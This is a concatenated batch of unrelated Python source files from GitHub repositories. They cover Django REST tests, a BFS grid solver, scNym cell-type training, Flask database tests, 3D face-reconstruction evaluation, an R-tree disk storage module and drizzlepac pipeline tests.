Window()\nsys.exit(app.exec_())\n","repo_name":"brtkaracaoglu/PyQt5","sub_path":"butonOlusturma.py","file_name":"butonOlusturma.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40444450698","text":"from rest_framework.test import APIClient, APITestCase\nimport pytest\nimport datetime\nimport functools\nfrom .factories import *\nfrom myapi.models import *\nfrom .utils import rgetattr, gen_quiz_data\n\n\n@pytest.mark.e2e\n@pytest.mark.django_db\ndef test_e2e_courses_get_queryset(API, SUPER_LOGIN):\n user = UserFactory.create(first_name=\"fady\", last_name=\"malak\", username=\"awad\")\n user1 = UserFactory.create(\n first_name=\"michael\", last_name=\"fahmy\", username=\"michoa\"\n )\n course = CourseFactory.create(owner=user)\n course1 = CourseFactory.create(owner=user1)\n req = API.get(\"/course/?search=malak\")\n data = req.json()[0]\n assert req.status_code == 200\n assert data[\"owner\"]['username'] == user.username\n assert data[\"name\"] == course.name\n\n\n# @pytest.mark.e2e\n@pytest.mark.django_db\ndef test_functional_get_course_by_id(API, SUPER_LOGIN):\n user = UserFactory.create(is_staff=1)\n course = CourseFactory.create(owner=user)\n API.force_authenticate(user=user)\n req = API.get(\"/course/%s/\" % (course.id))\n data = req.json()\n print(data)\n assert data[\"name\"] == course.name\n\n\n# @pytest.mark.e2e\n@pytest.mark.django_db\n@pytest.mark.parametrize(\"attr\", [\"owner.username\", \"name\", \"oname\"])\ndef test_functional_course_get_queryset(attr, API, SUPER_LOGIN):\n courses = CourseFactory.create_batch(size=10)\n course = courses[random.randint(1, 9)]\n if attr == \"oname\":\n search = course.owner.first_name + \" \" + course.owner.last_name\n else:\n search = rgetattr(course, attr)\n req = API.get(\"/course/?search=%s\" % (search))\n data = req.data\n assert len(data) == 1\n print(data)\n assert data[0][\"owner\"]['username'] == course.owner.username\n assert data[0][\"name\"] == course.name\n\n\n@pytest.mark.err\n@pytest.mark.e2e\n@pytest.mark.django_db\ndef test_functional_create_user():\n API = APIClient()\n req = API.post(\n \"/user/\",format=\"json\",\n data={\n \"first_name\": \"fadyaa\",\n \"last_name\": \"malaka\",\n \"username\": \"fadymalakc\",\n \"email\": \"fady.malak.awad@gmail.com\",\n \"password\": \"Fady.1234\",\n },\n )\n assert req.status_code == 201\n\n\n@pytest.mark.e2e\n@pytest.mark.django_db\ndef test_functional_Course_create(API, SUPER_LOGIN):\n rdata = {\"name\": \"COURSE NUMER 2\"}\n req = API.post(\"/course/\",format=\"json\", data=rdata)\n data = req.json()\n assert data[\"name\"] == rdata[\"name\"]\n assert req.status_code == 201\n\n\ndef run_export(API):\n\n q = API.get(\"http://testserver/silk/\", format=\"html\")\n\n f = open(\"h.html\", \"wb\")\n\n f.write(q.content)\n f.close()\n return True\n\n\n@pytest.mark.test\n@pytest.mark.django_db\n@pytest.mark.parametrize(\"user_login\", [True, False], indirect=True)\ndef test_testo(user_login):\n a, b = user_login\n print(a)\n print(b)\n q = User.objects.all()[0]\n assert q.is_staff == b\n","repo_name":"fadymalak/quiz-gameification","sub_path":"myapi/tests/test_functional.py","file_name":"test_functional.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"12292863577","text":"from collections import deque\nn, m = map(int, input().split())\nboard = []\ndQ = deque()\nres = -1\nfor _ in range(n): board.append([int(x) for x in str(input())])\ndx = [1, 0, -1, 0]\ndy = [0, 1, 0, -1]\n\nfor x in range(n):\n for y in range(m):\n if board[x][y] == 1:\n board[x][y] = 0\n\n dQ.append((0, 0))\n pathlength = [[0]*m for _ in range(n)]\n pathlength[0][0] = 1\n while dQ:\n a, b = dQ.popleft()\n if a == n-1 and b == m-1:\n break\n\n for i in range(4):\n tmpx = a + dx[i]\n tmpy = b + dy[i]\n if 0 <= tmpx < n and 0 <= tmpy < m and board[tmpx][tmpy] == 0 and pathlength[tmpx][tmpy] == 0:\n dQ.append((tmpx, tmpy))\n pathlength[tmpx][tmpy] = pathlength[a][b] + 1\n board[x][y] = 1\n if pathlength[n-1][m-1] == 0:\n continue\n res = min(res, pathlength[n-1][m-1]) if res != -1 else pathlength[n-1][m-1]\n\nprint(res)","repo_name":"jhan756k/Algorithm","sub_path":"BOJ/2206.py","file_name":"2206.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1702546150","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 30 18:28:32 2023\n\n@author: kevin\n\n4 3 2\n1 2\n1 2 \n1 2\n1 2\n3 4\n3 4\n3 4 \n\"\"\"\n\nimport numpy as np\nn, m, p = map(int, input().split())\n\nrow = []\nfor i in range(n):\n row.append(list(map(int, input().split())))\n\nrow1 = []\nfor i in range(m):\n row1.append(list(map(int, input().split())))\n\nprint (np.concatenate((np.array(row), np.array(row1))))\n","repo_name":"KevinJS911/HackerRank_Python","sub_path":"Python/Concatenate.py","file_name":"Concatenate.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74449642492","text":"from scnym.api import scnym_api\nimport torch\nimport os\nimport numpy as np\nimport argparse\nimport anndata\nimport sys\nfrom scvi.dataset import GeneExpressionDataset\nimport scanpy as sc\nimport pandas as pd\nimport scnym\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport urllib\nimport json\n\n# allow tensorboard outputs even though TF2 is installed\n# broke the tensorboard/pytorch API\nimport tensorflow as tf\nimport tensorboard as tb\ntf.io.gfile = tb.compat.tensorflow_stub.io.gfile\n\n# changing directory to project dir\nprint(os.getcwd())\nWORKING_DIR = \"/data/leslie/bplee/scBatch_project\"\n\n# adding the project dir to the path to import relevant modules below\nif WORKING_DIR not in sys.path:\n print(\"________CHANGING PATH_________\")\n sys.path.append(WORKING_DIR)\n print(\"\\tWorking dir appended to Sys path.\")\n\n# from ForBrennan.DIVA.dataset.rcc_loader_semi_sup import RccDatasetSemi\nfrom Step0_Data.code.pkl_load_data import PdRccAllData\nfrom Step0_Data.code.starter import *\n\nfrom new_prescnym_data_load import get_Rcc_adata\n\n# to balance the test distribution\ndef get_balanced_classes(adata):\n \"\"\"\n Returns an anndata obj with balanced labels\n\n Input:\n anndata obj with stuff in adata.obs['cell_type']\n\n Returns:\n Smaller anndata obj with balanced labels\n \n \"\"\"\n counts = adata.obs.cell_type.value_counts()\n min_cell_type, min_num = counts.index[-1], counts[-1]\n rtn = []\n for i, cell_type_count in enumerate(counts):\n cell_type = counts.index[i]\n cell_type_inds = np.array([i for i,val in enumerate(adata.obs.cell_type == cell_type) if val]) # this line is returning the inds of all points with given cell type\n a = np.random.choice(cell_type_count, min_num, replace=False) # choose n points from the list\n n_inds = cell_type_inds[a] # sampled n random indices\n rtn.extend(n_inds)\n return adata[rtn,:]\n\n\ndef train_scnym_model(adata, outpath,\n config='no_new_identity',\n groupby='annotations'):\n \"\"\"\n Runs scnym training procedure\n\n Parameters\n ----------\n adata : AnnData obj\n data object holding LOG NORMALIZED counts, labels, and domain (patient, binary labels)\n outpath : str\n file path to directory to save output to (doesn't have to exist) (e.g. `./201025_scnym_test_output')\n config : str, optional\n allows user to change different modes\n (default is 'no_new_identity', ie. not expecting any unseen cell types)\n groupby : str, optional\n column in adata.obs where training labels are specified, and test labels are set to 'Unlabeled'\n (default is 'annotations')\n\n Returns\n -------\n None, trains an scnym model and saves output to outpath\n \"\"\"\n\n scnym_api(adata=adata,\n task='train',\n config=config,\n out_path=outpath,\n groupby=groupby)\n\ndef predict_from_scnym_model(adata, trained_model,\n key_added='scNym',\n config='no_new_identity'):\n \"\"\"\n Makes cell type predictions for a matrix of counts from previously trained scnym model\n\n Parameters\n ----------\n adata : AnnData obj\n matrix of counts stored in adata.X with\n trained_model : str\n filepath to directory with a previously trained model\n key_added : str, optional\n name of column to be added to adata with predictions\n (default is 'scNym')\n config : str, optional\n allows user to change different modes\n (default is 'no_new_identity', ie. not expecting any unseen cell types)\n\n Returns\n -------\n None,\n adds new column to adata object with column name `key_added`\n\n \"\"\"\n\n scnym_api(\n adata=adata,\n task='predict',\n key_added=key_added,\n config=config,\n trained_model=trained_model\n )\n\ndef get_accuracies(adata, key_added=\"scNym\", test_patient=None):\n \"\"\"\n Used to get the accuracy and weighted accuracy of scnym predictions\n If test_patient arg is submitted, makes a cm matrix in `cm_figs/` dir\n\n Parameters\n ----------\n adata : annData object\n assumes already run a prediction\n\n key_added : str\n default is \"scNym\"\n this is the name of the column in adata.obs with the annotations\n\n Returns\n -------\n tuple: accuracy and weighted accuracy of the predictions\n saves cm matrix\n\n \"\"\"\n cell_types = np.unique(adata.obs.cell_type)\n patients = np.unique(adata.obs.batch)\n test_indices = adata.obs.annotations == \"Unlabeled\"\n preds = adata.obs[key_added][test_indices]\n golden_labels = adata.obs.cell_type[test_indices]\n\n preds_ints = np.empty(len(preds))\n golden_labels_ints = np.empty(len(golden_labels))\n\n for i, c in enumerate(cell_types):\n idx_preds = np.where(preds == c)[0]\n preds_ints[idx_preds] = i\n idx_labels = np.where(golden_labels == c)\n golden_labels_ints[idx_labels] = i\n\n accuracy = sum(preds_ints == golden_labels_ints)/len(preds)\n cm = confusion_matrix(golden_labels_ints, preds_ints)\n cm_norm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n weighted_accuracy = np.mean(np.diag(cm_norm))\n\n if test_patient is not None:\n ensure_dir(\"cm_figs\")\n print(\"Making confusion matrix\")\n cm_norm_df = pd.DataFrame(cm_norm, index=cell_types, columns=cell_types)\n plt.figure(figsize=(20, 20))\n ax = sns.heatmap(cm_norm_df, cmap=\"YlGnBu\", vmin=0, vmax=1, linewidths=.5, annot=True, fmt='4.2f', square=True)\n plt.savefig('cm_figs/fig_scnym_cm_test_pat_' + str(test_patient) + '.png')\n\n return accuracy, weighted_accuracy\n\n\n\ndef plot_scnym_umap(adata, test_pat, train_pat=None, use_rep='X_scnym'):\n \"\"\"\n Plots umap embedding, colored by choice of labling\n\n Parameters\n ----------\n adata : AnnData obj\n needs to be post prediction, ie. `X_scnym` is stored in adata\n use_rep : str, optional\n raw vector data that you want to create a umap embedding for (needs to be in adata)\n default is X_scnym (the embedding representation of the log normalized counts\n color_labeling : str, optional\n color that needs t\n default is 'scNym' as `predict_from_scnym_model` has 'scNym' as default for `key_added` param\n save_name : str, optional\n default is 'scnym_embedding.png'\n should change name to represent the labeling color\n this saves automatically to ./figures/umapscnym_embedding.png [sic]\n\n Returns\n -------\n None\n saves two figures\n\n \"\"\"\n if train_pat is None:\n train_pat = \"ALL\"\n sc.pp.neighbors(adata, use_rep=use_rep, n_neighbors=30)\n sc.tl.umap(adata, min_dist=.3)\n save_name = f\"_scnym_train_domain_{test_pat}_test_domain_{train_pat}_batches+celltype.png\"\n sc.pl.umap(adata, color=['batch', 'cell_type'], size=5, alpha=.2, save=save_name)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='scANVI')\n parser.add_argument('--test_patient', type=int, default=5,\n help='test domain')\n parser.add_argument('--train_patient', type=int, default=None,\n help='test domain')\n args_scnym = parser.parse_args()\n print(args_scnym)\n\n print(f\"Current Working Dir: {os.getcwd()}\")\n\n train_pat = args_scnym.train_patient\n test_pat = args_scnym.test_patient\n\n outpath = f\"201117_scnym_SSL_test_pat_{test_pat}\"\n\n adata, data_obj = get_Rcc_adata(test_patient=test_pat, train_patient=train_pat, x_dim=784)\n print(f\"Training scNym model off training patient {train_pat}, with test patient {test_pat}\")\n train_scnym_model(adata, outpath)\n print(f\"Saved model to {outpath}\")\n print(f\"Predicting training and testing set\")\n predict_from_scnym_model(adata, trained_model=outpath)\n accur, weighted_accur = get_accuracies(adata)\n print(f\"Accuracy: {accur}\\nWeigted Accuracy: {weighted_accur}\")\n plot_scnym_umap(adata, test_pat)\n\n # accurs, weighted_accurs = [],[]\n # for test_pat in range(6):\n # model_name = f\"210202_multi_domain_test_pat_{test_pat}\"\n # adata, obj = get_Rcc_adata(test_pat, x_dim=784)\n # predict_from_scnym_model(adata, model_name)\n # out = get_accuracies(adata, test_patient=test_pat)\n # accurs.append(out[0])\n # weighted_accurs.append(out[1])\n # print(accurs, weighted_accurs)","repo_name":"bplee/scBatch_project","sub_path":"Step1_scNym/code/run_scnym.py","file_name":"run_scnym.py","file_ext":"py","file_size_in_byte":8470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11787130132","text":"import unittest\nimport sqlite3\nfrom unittest.mock import patch\n\nfrom flask import Flask\n\nfrom db import get_db, init_db, close_db, init_db_command, read_db_row, read_db_col\n\n\nclass TestDB(unittest.TestCase):\n def setUp(self):\n # Creamos una aplicación de Flask de prueba\n self.app = Flask(__name__)\n # Establecemos la configuración de la base de datos en una base de datos en memoria\n self.app.config['DATABASE'] = ':memory:'\n # Inicializamos la base de datos\n init_db(self.app)\n \n def tearDown(self):\n # Cerramos la conexión de la base de datos\n close_db()\n \n def test_get_db(self):\n # Comprobamos que se devuelve una conexión a la base de datos\n with self.app.app_context():\n db = get_db()\n self.assertIsInstance(db, sqlite3.Connection)\n \n def test_init_db(self):\n # Creamos una conexión a la base de datos en memoria y comprobamos que se ha creado la tabla \"test\"\n with self.app.app_context():\n db = get_db()\n cursor = db.cursor()\n cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='test'\")\n result = cursor.fetchone()\n self.assertIsNotNone(result)\n \n def test_close_db(self):\n # Comprobamos que se cierra la conexión de la base de datos\n with self.app.app_context():\n db = get_db()\n close_db()\n self.assertIsNone(g.get('db'))\n \n @patch('tu_modulo.click.echo')\n def test_init_db_command(self, mock_echo):\n # Creamos una conexión a la base de datos en memoria y ejecutamos el comando \"init-db\"\n with self.app.app_context():\n init_db_command()\n # Comprobamos que se ha llamado a click.echo con el mensaje \"Initialized the database.\"\n mock_echo.assert_called_with('Initialized the database.')\n \n def test_read_db_row(self):\n # Insertamos una fila en la tabla \"test\" y comprobamos que se devuelve al leer la tabla completa\n with self.app.app_context():\n db = get_db()\n cursor = db.cursor()\n cursor.execute(\"INSERT INTO test (col1, col2) VALUES (?, ?)\", (\"val1\", \"val2\"))\n db.commit()\n\n data = read_db_row(\"test\")\n self.assertEqual(len(data), 1)\n self.assertEqual(data[0][\"col1\"], \"val1\")\n self.assertEqual(data[0][\"col2\"], \"val2\")\n \n def test_read_db_col(self):\n # Insertamos una fila en la tabla \"test\" y comprobamos que se devuelve al leer una columna específica\n with self.app.app_context():\n db = get_db()\n cursor = db.cursor()\n cursor.execute(\"INSERT INTO test (col1, col2) VALUES (?, ?)\", (\"val1\", \"val2\"))\n db.commit()\n\n data = read_db_col(\"test\", \"col1\")\n self.assertEqual(len(data), 1)\n self.assertEqual(data[0][\"col1\"], \"val1\")\n","repo_name":"CristobalManque/Ingenieria-de-Software","sub_path":"mysite/dbtest.py","file_name":"dbtest.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"39902141253","text":"import os, sys\n__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n__parent__ = os.path.dirname(__location__)\nsys.path.append(__location__)\nsys.path.append(__parent__)\n\nimport numpy as np\nfrom evaluating.face_alignment_dense_evaluating import FaceAlignmentDenseEvaluating\n\nclass FaceRecontructionEvaluating(FaceAlignmentDenseEvaluating):\n\n lineStyle = \"y-\"\n evaluateMode = \"reconstruct\"\n\n def __getMeshPair(self, groundTruthMeshs, restoreMeshs):\n interative_closest_point.previewing = False\n interative_closest_point.logging = False\n meshPairs = [self.alignMesh(gtMesh, restoredMesh) for gtMesh, restoredMesh \n in zip(groundTruthMeshs, restoreMeshs)]\n (alignedMeshs, fixMeshs) = zip(*meshPairs) \n return (alignedMeshs, fixMeshs)\n\n def alignMesh(self, fixMesh, moveMesh):\n X_fix = fixMesh.vertices\n X_move = moveMesh.vertices\n \n X_fix_mean = np.mean(X_fix, axis=0)\n X_move_mean = np.mean(X_move, axis=0)\n translations = X_move_mean - X_fix_mean\n X_move = X_move - translations\n\n (_, X_move_transformed, nearest_idxs) = interative_closest_point.simpleicp(X_fix, X_move, X_move.shape[0]//2, min_change=0.1)\n\n tranformedMoveMesh = moveMesh.copy()\n tranformedMoveMesh.vertices = X_move_transformed\n nearestFixMesh = fixMesh.copy()\n nearestFixMesh.vertices = nearestFixMesh.vertices[nearest_idxs]\n nearestFixMesh.colors = nearestFixMesh.colors[nearest_idxs]\n nearestFixMesh.triangles = None\n return tranformedMoveMesh, nearestFixMesh\n\nif __name__ == \"__main__\":\n import argparse\n from tensorflow.keras.models import load_model\n from generating.image_generator import ImageGenerator\n from util import interative_closest_point, file_methods\n # construct the argument parse and parse the arguments\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--image\", type=str,\n default = r\"K:\\Study\\CaoHoc\\LuanVan\\dataset\\AFLW2000\\image00040.jpg\",\n help=\"path to image\")\n ap.add_argument(\"-m\", \"--model\", type=str,\n default=r\"E:\\My Drive\\CaoHoc\\LUANVAN\\SourceCode\\output_wtrmse_0.01\\best_eval_loss.model\",\n help=\"path to model\")\n args = vars(ap.parse_args())\n\n IMAGE_PATH = args[\"image\"]\n MODEL_PATH = args[\"model\"]\n\n print(\"[INFO] Reading image...\")\n image = file_methods.readImage(IMAGE_PATH, False)\n\n print(\"[INFO] Creating input face image...\")\n ig = ImageGenerator()\n matPath = file_methods.getFilePathWithOtherExt(IMAGE_PATH, \".mat\")\n restoreMeshPath = file_methods.getFilePathWithOtherParent(matPath, r\"data\")\n \n from preprocessing.image3D_extracting import Image3DExtracting\n i3e = Image3DExtracting()\n gtMeshInfo = i3e.preprocess(matPath)\n\n if os.path.exists(restoreMeshPath) is False:\n faceInfoList = ig.generate(image, matPath)\n if (len(faceInfoList) == 0):\n print(\"[WARNING] No face detected\")\n exit()\n\n print(\"[INFO] Loading pre-trained network...\")\n model = load_model(MODEL_PATH, compile=False)\n\n print(\"[INFO] Predicting for uv position map...\")\n faceBBs, faceImages, tforms = zip(*faceInfoList)\n uvmaps = model.predict(np.array(faceImages))\n uvmaps = [uvmap for uvmap in uvmaps]\n uvmap = uvmaps[0]\n tform = tforms[0]\n\n print(\"[INFO] Reconstructing for mesh...\")\n from postprocessing.uvmap_restoring import UVMapRestoring\n uvr = UVMapRestoring()\n restoredMeshInfo = uvr.postprocess(image, uvmap, tform)\n restoredMeshInfo.save(restoreMeshPath)\n else:\n restoredMeshInfo = i3e.preprocess(restoreMeshPath)\n \n from util import mesh_display\n mesh_display.displayMeshPointCloud([gtMeshInfo, restoredMeshInfo])\n gtMeshInfo.vertices[:, 2] = gtMeshInfo.vertices[:, 2] - np.min(gtMeshInfo.vertices[:, 2])\n fre = FaceRecontructionEvaluating()\n interative_closest_point.previewing = True\n interative_closest_point.logging = True\n tranformedMesh, nearestGTMesh = fre.alignMesh(gtMeshInfo, restoredMeshInfo)\n nearestGTMeshPreview = nearestGTMesh.copy()\n nearestGTMeshPreview.vertices = nearestGTMeshPreview.vertices + 200\n mesh_display.displayMeshPointCloud([nearestGTMesh, nearestGTMeshPreview, tranformedMesh])","repo_name":"kameo4189/PRNet-keras","sub_path":"evaluating/fase_reconstruction_evaluating.py","file_name":"fase_reconstruction_evaluating.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30887563901","text":"from abc import ABC, abstractmethod\nfrom typing import Tuple\nimport copy\nimport os\nimport math\nfrom .split_type import RTreeSplitType\nfrom .node import Node, NonLeafEntry, LeafEntry\n\n\nclass Storage(ABC):\n @abstractmethod\n def get_dim(self) -> int:\n pass\n\n @abstractmethod\n def get_node_size(self) -> int:\n pass\n\n @abstractmethod\n def get_split_type(self) -> RTreeSplitType:\n pass\n\n # Number of nodes\n @abstractmethod\n def count(self) -> int:\n pass\n\n @abstractmethod\n def get_node(self, index: int) -> Node:\n pass\n\n @abstractmethod\n def set_node(self, index: int, node: Node):\n pass\n\n # Returns index\n @abstractmethod\n def add_node(self, node: Node) -> int:\n pass\n\n def _entry_size(self, is_leaf: bool) -> int:\n return 8 * self.get_dim() * (1 if is_leaf else 2) + 8\n\n def _max_entries(self, is_leaf: bool) -> int:\n return math.floor((self.get_node_size() - 9) / self._entry_size(is_leaf))\n\n\nclass MemoryStorage(Storage):\n def __init__(self, dim: int, node_size: int, split_type: RTreeSplitType):\n self._dim = dim\n self._node_size = node_size\n self._split_type = split_type\n\n if self._max_entries(False) < 2:\n raise ValueError\n\n self._data = [(True, [])]\n\n def get_dim(self) -> int:\n return self._dim\n\n def get_node_size(self) -> int:\n return self._node_size\n\n def get_split_type(self) -> RTreeSplitType:\n return self._split_type\n\n def count(self) -> int:\n return len(self._data)\n\n def get_node(self, index: int) -> Node:\n is_leaf = self._data[index][0]\n node = Node(is_leaf, self._max_entries(is_leaf))\n node.entries = copy.deepcopy(self._data[index][1])\n return node\n\n def set_node(self, index: int, node: Node):\n self._data[index] = (node.is_leaf(), copy.deepcopy(node.entries))\n\n def add_node(self, node: Node) -> int:\n self._data.append((node.is_leaf(), copy.deepcopy(node.entries)))\n return len(self._data) - 1\n\n\nclass DiskStorage(Storage):\n _HEADER_SIZE = 13\n _CACHE_SIZE = 1024\n\n def __init__(self, filename: str):\n self._file = open(filename, 'r+b')\n data = self._file.read(self._HEADER_SIZE)\n self._dim = int.from_bytes(data[:4], byteorder='little', signed=False)\n self._node_size = int.from_bytes(data[4:12], byteorder='little', signed=False)\n self._split_type = RTreeSplitType(int.from_bytes(data[12:], byteorder='little', signed=False))\n\n self._cache = []\n\n for i in range(self._CACHE_SIZE):\n # index, changed(bool), is_leaf, entries\n self._cache.append((None, None, None, None))\n\n @classmethod\n def write_header(cls, filename: str, dimensions: int, node_size: int, split_type: RTreeSplitType):\n if math.floor((node_size - 9) / (16 * dimensions + 8)) < 2:\n raise ValueError\n\n data = bytearray(cls._HEADER_SIZE + node_size)\n data[:4] = dimensions.to_bytes(4, byteorder='little', signed=False)\n data[4:12] = node_size.to_bytes(8, byteorder='little', signed=False)\n data[12:13] = split_type.value.to_bytes(1, byteorder='little', signed=False)\n data[13:14] = True.to_bytes(1, byteorder='little', signed=False)\n\n with open(filename, 'wb') as file:\n file.write(data)\n\n def get_dim(self) -> int:\n return self._dim\n\n def get_node_size(self) -> int:\n return self._node_size\n\n def get_split_type(self) -> RTreeSplitType:\n return self._split_type\n\n def count(self) -> int:\n self._file.seek(0, 2)\n return round((self._file.tell() - self._HEADER_SIZE) / self._node_size)\n\n def get_node(self, index: int) -> Node:\n i = self._get(index, True)\n is_leaf = self._cache[i][2]\n node = Node(is_leaf, self._max_entries(is_leaf))\n node.entries = copy.deepcopy(self._cache[i][3])\n return node\n\n def set_node(self, index: int, node: Node):\n i = self._get(index, False)\n\n self._cache[i] = (index, True, node.is_leaf(), copy.deepcopy(node.entries))\n\n def add_node(self, node: Node) -> int:\n index = self.count()\n self._write(index, node.is_leaf(), node.entries)\n\n return index\n\n def _get(self, index: int, read: bool):\n if index >= self.count():\n raise IndexError\n\n i = index % self._CACHE_SIZE\n if self._cache[i][0] is None or self._cache[i][0] != index:\n if self._cache[i][1] is not None and self._cache[i][1]:\n self._write(self._cache[i][0], self._cache[i][2], self._cache[i][3])\n\n if read:\n is_leaf, entries = self._read(index)\n self._cache[i] = (index, False, is_leaf, entries)\n return i\n\n def _write(self, index: int, is_leaf: bool, entries: list):\n data = bytearray(self._node_size)\n data[:1] = is_leaf.to_bytes(1, byteorder='little', signed=False)\n data[1:9] = len(entries).to_bytes(8, byteorder='little', signed=False)\n\n i = 9\n\n for entry in entries:\n if is_leaf:\n i = self._serialize_coord(data, i, entry.coord)\n data[i:i+8] = entry.data_point.to_bytes(8, byteorder='little', signed=False)\n i += 8\n else:\n i = self._serialize_coord(data, i, entry.first_coord)\n i = self._serialize_coord(data, i, entry.second_coord)\n data[i:i+8] = entry.child_idx.to_bytes(8, byteorder='little', signed=False)\n i += 8\n\n if len(data) > self.get_node_size():\n raise ValueError\n\n self._file.seek(self._HEADER_SIZE + index * self._node_size)\n self._file.write(data)\n\n def _read(self, index: int) -> Tuple[bool, list]:\n self._file.seek(self._HEADER_SIZE + index * self._node_size)\n data = self._file.read(self._node_size)\n is_leaf = bool.from_bytes(data[:1], byteorder='little', signed=False)\n n = int.from_bytes(data[1:9], byteorder='little', signed=False)\n\n i = 9\n entries = []\n\n for _ in range(n):\n if is_leaf:\n i, coord = self._deserialize_coord(data, i)\n data_point = int.from_bytes(data[i:i+8], byteorder='little', signed=False)\n i += 8\n entries.append(LeafEntry(coord, data_point))\n else:\n i, first_coord = self._deserialize_coord(data, i)\n i, second_coord = self._deserialize_coord(data, i)\n child_idx = int.from_bytes(data[i:i+8], byteorder='little', signed=False)\n i += 8\n entries.append(NonLeafEntry(first_coord, second_coord, child_idx))\n\n return is_leaf, entries\n\n def _serialize_coord(self, data, i: int, coord: list) -> int:\n for x in coord:\n data[i:i+8] = x.to_bytes(8, byteorder='little', signed=True)\n i += 8\n return i\n\n def _deserialize_coord(self, data, i: int) -> Tuple[int, list]:\n coord = []\n for _ in range(self._dim):\n coord.append(int.from_bytes(data[i:i+8], byteorder='little', signed=True))\n i += 8\n return i, coord\n\n def __del__(self):\n for index, changed, is_leaf, entries in self._cache:\n if index is not None and changed:\n self._write(index, is_leaf, entries)\n self._file.close()\n","repo_name":"jaklvinc/rtree","sub_path":"rtree/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":7481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37142031787","text":"\"\"\" This module tests full pipeline use of the drizzlepac package.\n\n\"\"\"\nimport os\nimport pytest\n\nfrom astropy.utils.data import conf\n\nfrom ci_watson.artifactory_helpers import get_bigdata\nfrom ci_watson.hst_helpers import download_crds, ref_from_image\n\nfrom drizzlepac.haputils import astroquery_utils as aqutils\nfrom drizzlepac import runastrodriz\nfrom astropy.io import fits\n\n\nclass BasePipeline:\n prevdir = os.getcwd()\n use_ftp_crds = True\n timeout = 30 # seconds\n tree = 'dev'\n\n # Numpy default for allclose comparison\n rtol = 1e-6\n atol = 1e-5\n\n # To be defined by instrument\n refstr = ''\n prevref = ''\n input_loc = ''\n ref_loc = ''\n ignore_keywords = []\n\n # To be defined by individual test\n subdir = ''\n\n @pytest.fixture(autouse=True)\n def setup_class(self, tmpdir, envopt, pytestconfig):\n \"\"\"\n Run test in own dir so we can keep results separate from\n other tests.\n \"\"\"\n if not tmpdir.ensure(self.subdir, dir=True):\n p = tmpdir.mkdir(self.subdir).strpath\n else:\n p = tmpdir.join(self.subdir).strpath\n os.chdir(p)\n\n # NOTE: This could be explicitly controlled using pytest fixture\n # but too many ways to do the same thing would be confusing.\n # Refine this logic if using pytest fixture.\n # HSTCAL cannot open remote CRDS on FTP but central storage is okay.\n # So use central storage if available to avoid FTP.\n if self.prevref is None or self.prevref.startswith(('ftp', 'http')):\n os.environ[self.refstr] = p + os.sep\n self.use_ftp_crds = True\n\n # This controls astropy.io.fits timeout\n conf.remote_timeout = self.timeout\n\n # Update tree to point to correct environment\n self.tree = envopt\n\n # Collect pytest configuration values specified in setup.cfg or pytest.ini\n self.inputs_root = pytestconfig.getini('inputs_root')[0]\n self.results_root = pytestconfig.getini('results_root')[0]\n\n def teardown_class(self):\n \"\"\"Reset path and variables.\"\"\"\n conf.reset('remote_timeout')\n os.chdir(self.prevdir)\n if self.use_ftp_crds and self.prevref is not None:\n os.environ[self.refstr] = self.prevref\n\n def get_data(self, *args, docopy=True):\n \"\"\"\n Download `filename` into working directory using\n `get_bigdata`. This will then return the full path to\n the local copy of the file.\n \"\"\"\n local_file = get_bigdata(*args, docopy=docopy)\n\n return local_file\n\n def get_input_file(self, *args, refsep='$', docopy=True):\n \"\"\"\n Download or copy input file (e.g., RAW) into the working directory.\n The associated CRDS reference files in ``refstr`` are also\n downloaded, if necessary.\n \"\"\"\n # filename = self.get_data(*args, docopy=docopy)\n filename = args[1]\n ref_files = ref_from_image(filename, ['IDCTAB', 'OFFTAB', 'NPOLFILE', 'D2IMFILE',\n 'DGEOFILE', 'MDRIZTAB'])\n print(\"Looking for REF_FILES: {}\".format(ref_files))\n\n for ref_file in ref_files:\n if ref_file.strip() == '':\n continue\n if refsep not in ref_file: # Local file\n refname = self.get_data('customRef', ref_file)\n else: # Download from FTP, if applicable\n refname = os.path.join(ref_file)\n if self.use_ftp_crds:\n download_crds(refname, self.timeout)\n return filename\n\n\nclass BaseWFC3Pipeline(BasePipeline):\n refstr = 'iref'\n input_loc = ''\n ref_loc = 'wfc3/ref'\n prevref = os.environ.get(refstr)\n ignore_keywords = ['origin', 'filename', 'date', 'iraf-tlm', 'fitsdate',\n 'upwtim', 'wcscdate', 'upwcsver', 'pywcsver',\n 'history', 'prod_ver', 'rulefile']\n\n\nclass TestSingleton(BaseWFC3Pipeline):\n\n @pytest.mark.parametrize(\n 'dataset_names', ['iaaua1n4q']\n )\n\n def test_astrometric_singleton(self, dataset_names):\n \"\"\" Tests pipeline-style processing of a singleton exposure using runastrodriz.\n \"\"\"\n # Get sample data through astroquery\n flcfile = aqutils.retrieve_observation(dataset_names, suffix=['FLC'])[0]\n fltfile = aqutils.retrieve_observation(dataset_names, suffix=['FLT'])[0]\n rawfile = aqutils.retrieve_observation(dataset_names, suffix=['RAW'])[0]\n\n # 